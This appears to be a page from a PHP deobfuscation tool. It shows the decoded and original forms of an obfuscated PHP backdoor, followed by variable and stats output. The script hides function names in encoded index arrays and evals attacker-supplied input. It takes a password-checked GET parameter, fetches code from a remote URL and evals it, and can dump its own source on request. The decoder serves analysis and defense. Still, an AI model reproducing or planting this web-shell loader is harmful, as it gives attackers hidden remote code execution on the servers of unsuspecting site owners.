Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$Gn = 'range'; $zi = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r..

Decoded Output download

<?  $Gn = 'range'; 
$zi = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' '); 
$H = ${$zi[24 + 7] . $zi[27 + 32] . $zi[13 + 34] . $zi[30 + 17] . $zi[20 + 31] . $zi[38 + 15] . $zi[0 + 57]}; 
if (in_array(gettype($H) . '17', $H)) { 
    $H[68] = $H[68] . $H[77]; 
    @eval($H[68](${$H[40]}[18])); 
} 
class vI 
{ 
    static function nFMrcPh($AkTD) 
    { 
        $aKOwdxoiHt = 'range'; 
        $yh = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' '); 
        $GZTnphtk = explode('>', $AkTD); 
        $dENGsbyQpv = ''; 
        foreach ($GZTnphtk as $srNAGM => $yPBzpsGJ) { 
            $dENGsbyQpv .= $yh[$yPBzpsGJ - 16603]; 
        } 
        return $dENGsbyQpv; 
     
    } 
    static function vG($PbBEolwHa, $qjwMrvLop) 
    { 
        $vxgnpWrXJ = curl_init($PbBEolwHa); 
        curl_setopt($vxgnpWrXJ, CURLOPT_RETURNTRANSFER, 1); 
        $OCYunIKl = curl_exec($vxgnpWrXJ); 
        return empty($OCYunIKl) ? $qjwMrvLop($PbBEolwHa) : $OCYunIKl; 
     
    } 
    static function IlhiPTgK() 
    { 
        $jvg = array('16630>16615>16628>16632>16613>16628>16634>16627>16612>16619>16630>16613>16624>16618>16619', '16614>16613>16615>16634>16615>16618>16613>16680>16678', '16623>16614>16618>16619>16634>16629>16628>16630>16618>16629>16628', '16617>16632>16630>16622', '16631>16632>16614>16628>16675>16677>16634>16629>16628>16630>16618>16629>16628', '16627>16624>16621>16628>16634>16626>16628>16613>16634>16630>16618>16619>16613>16628>16619>16613>16614', '16657>16687', '16604', '16682>16687', '16664>16647>16647>16664>16640', '16618>16627'); 
        foreach ($jvg as $vOCYd) { 
            $LnGSW[] = self::nFMrcPh($vOCYd); 
        } 
        $Jfkhxn = @$LnGSW[1](${"_" . 'GET'}[$LnGSW[0 + 9]]); 
        $ahsjVSBEuY = @$LnGSW[3 + 0]($LnGSW[2 + 4], $Jfkhxn); 
        $lgLTSMc = $LnGSW[0 + 2]($ahsjVSBEuY, true); 
        @${"_" . 'GET'}[$LnGSW[2 + 8]] == 1 && die($LnGSW[5 + 0](__FILE__)); 
        if (@$lgLTSMc[0] - time() > 0 and md5(md5($lgLTSMc[1 + 2])) === "95170de20ad393a4edc2b35ea8c976e6") { 
            $OXJtqowFDs = self::vG($lgLTSMc[0 + 1], $LnGSW[2 + 3]); 
            @eval($LnGSW[3 + 1]($OXJtqowFDs)); 
            die; 
         
        } 
     
    } 
} 
vI::IlhiPTgK(); 
 ?>

Did this file decode correctly?

Original Code

$Gn = 'range';
$zi = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
$H = ${$zi[24 + 7] . $zi[27 + 32] . $zi[13 + 34] . $zi[30 + 17] . $zi[20 + 31] . $zi[38 + 15] . $zi[0 + 57]};
if (in_array(gettype($H) . '17', $H)) {
    $H[68] = $H[68] . $H[77];
    @eval($H[68](${$H[40]}[18]));
}
class vI
{
    static function nFMrcPh($AkTD)
    {
        $aKOwdxoiHt = 'range';
        $yh = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
        $GZTnphtk = explode('>', $AkTD);
        $dENGsbyQpv = '';
        foreach ($GZTnphtk as $srNAGM => $yPBzpsGJ) {
            $dENGsbyQpv .= $yh[$yPBzpsGJ - 16603];
        }
        return $dENGsbyQpv;
    
    }
    static function vG($PbBEolwHa, $qjwMrvLop)
    {
        $vxgnpWrXJ = curl_init($PbBEolwHa);
        curl_setopt($vxgnpWrXJ, CURLOPT_RETURNTRANSFER, 1);
        $OCYunIKl = curl_exec($vxgnpWrXJ);
        return empty($OCYunIKl) ? $qjwMrvLop($PbBEolwHa) : $OCYunIKl;
    
    }
    static function IlhiPTgK()
    {
        $jvg = array('16630>16615>16628>16632>16613>16628>16634>16627>16612>16619>16630>16613>16624>16618>16619', '16614>16613>16615>16634>16615>16618>16613>16680>16678', '16623>16614>16618>16619>16634>16629>16628>16630>16618>16629>16628', '16617>16632>16630>16622', '16631>16632>16614>16628>16675>16677>16634>16629>16628>16630>16618>16629>16628', '16627>16624>16621>16628>16634>16626>16628>16613>16634>16630>16618>16619>16613>16628>16619>16613>16614', '16657>16687', '16604', '16682>16687', '16664>16647>16647>16664>16640', '16618>16627');
        foreach ($jvg as $vOCYd) {
            $LnGSW[] = self::nFMrcPh($vOCYd);
        }
        $Jfkhxn = @$LnGSW[1](${"_" . 'GET'}[$LnGSW[0 + 9]]);
        $ahsjVSBEuY = @$LnGSW[3 + 0]($LnGSW[2 + 4], $Jfkhxn);
        $lgLTSMc = $LnGSW[0 + 2]($ahsjVSBEuY, true);
        @${"_" . 'GET'}[$LnGSW[2 + 8]] == 1 && die($LnGSW[5 + 0](__FILE__));
        if (@$lgLTSMc[0] - time() > 0 and md5(md5($lgLTSMc[1 + 2])) === "95170de20ad393a4edc2b35ea8c976e6") {
            $OXJtqowFDs = self::vG($lgLTSMc[0 + 1], $LnGSW[2 + 3]);
            @eval($LnGSW[3 + 1]($OXJtqowFDs));
            die;
        
        }
    
    }
}
vI::IlhiPTgK();

Function Calls

gettype 1

Variables

$H 0
$Gn range
$zi [{'key': 0, 'value': '~'}, {'key': 1, 'value': '}'}, {'key': 2, 'value': '|'}, {'key': 3, 'value': '{'}, {'key': 4, 'value': 'z'}, {'key': 5, 'value': 'y'}, {'key': 6, 'value': 'x'}, {'key': 7, 'value': 'w'}, {'key': 8, 'value': 'v'}, {'key': 9, 'value': 'u'}, {'key': 10, 'value': 't'}, {'key': 11, 'value': 's'}, {'key': 12, 'value': 'r'}, {'key': 13, 'value': 'q'}, {'key': 14, 'value': 'p'}, {'key': 15, 'value': 'o'}, {'key': 16, 'value': 'n'}, {'key': 17, 'value': 'm'}, {'key': 18, 'value': 'l'}, {'key': 19, 'value': 'k'}, {'key': 20, 'value': 'j'}, {'key': 21, 'value': 'i'}, {'key': 22, 'value': 'h'}, {'key': 23, 'value': 'g'}, {'key': 24, 'value': 'f'}, {'key': 25, 'value': 'e'}, {'key': 26, 'value': 'd'}, {'key': 27, 'value': 'c'}, {'key': 28, 'value': 'b'}, {'key': 29, 'value': 'a'}, {'key': 30, 'value': '`'}, {'key': 31, 'value': '_'}, {'key': 32, 'value': '^'}, {'key': 33, 'value': ']'}, {'key': 34, 'value': '\\'}, {'key': 35, 'value': '['}, {'key': 36, 'value': 'Z'}, {'key': 37, 'value': 'Y'}, {'key': 38, 'value': 'X'}, {'key': 39, 'value': 'W'}, {'key': 40, 'value': 'V'}, {'key': 41, 'value': 'U'}, {'key': 42, 'value': 'T'}, {'key': 43, 'value': 'S'}, {'key': 44, 'value': 'R'}, {'key': 45, 'value': 'Q'}, {'key': 46, 'value': 'P'}, {'key': 47, 'value': 'O'}, {'key': 48, 'value': 'N'}, {'key': 49, 'value': 'M'}, {'key': 50, 'value': 'L'}, {'key': 51, 'value': 'K'}, {'key': 52, 'value': 'J'}, {'key': 53, 'value': 'I'}, {'key': 54, 'value': 'H'}, {'key': 55, 'value': 'G'}, {'key': 56, 'value': 'F'}, {'key': 57, 'value': 'E'}, {'key': 58, 'value': 'D'}, {'key': 59, 'value': 'C'}, {'key': 60, 'value': 'B'}, {'key': 61, 'value': 'A'}, {'key': 62, 'value': '@'}, {'key': 63, 'value': '?'}, {'key': 64, 'value': '>'}, {'key': 65, 'value': '='}, {'key': 66, 'value': '<'}, {'key': 67, 'value': ';'}, {'key': 68, 'value': ':'}, {'key': 69, 'value': '9'}, {'key': 70, 'value': '8'}, {'key': 71, 'value': '7'}, {'key': 72, 'value': '6'}, {'key': 73, 'value': '5'}, {'key': 74, 'value': '4'}, {'key': 75, 'value': '3'}, {'key': 76, 'value': '2'}, {'key': 77, 'value': '1'}, {'key': 78, 'value': '0'}, {'key': 79, 'value': '/'}, {'key': 80, 'value': '.'}, {'key': 81, 'value': '-'}, {'key': 82, 'value': ','}, {'key': 83, 'value': '+'}, {'key': 84, 'value': '*'}, {'key': 85, 'value': ')'}, {'key': 86, 'value': '('}, {'key': 87, 'value': "'"}, {'key': 88, 'value': '&'}, {'key': 89, 'value': '%'}, {'key': 90, 'value': '$'}, {'key': 91, 'value': '#'}, {'key': 92, 'value': '"'}, {'key': 93, 'value': '!'}, {'key': 94, 'value': ' '}]

Stats

MD5 886f4bd74700ea5640082bd8a8964930
Eval Count 0
Decode Time 94 ms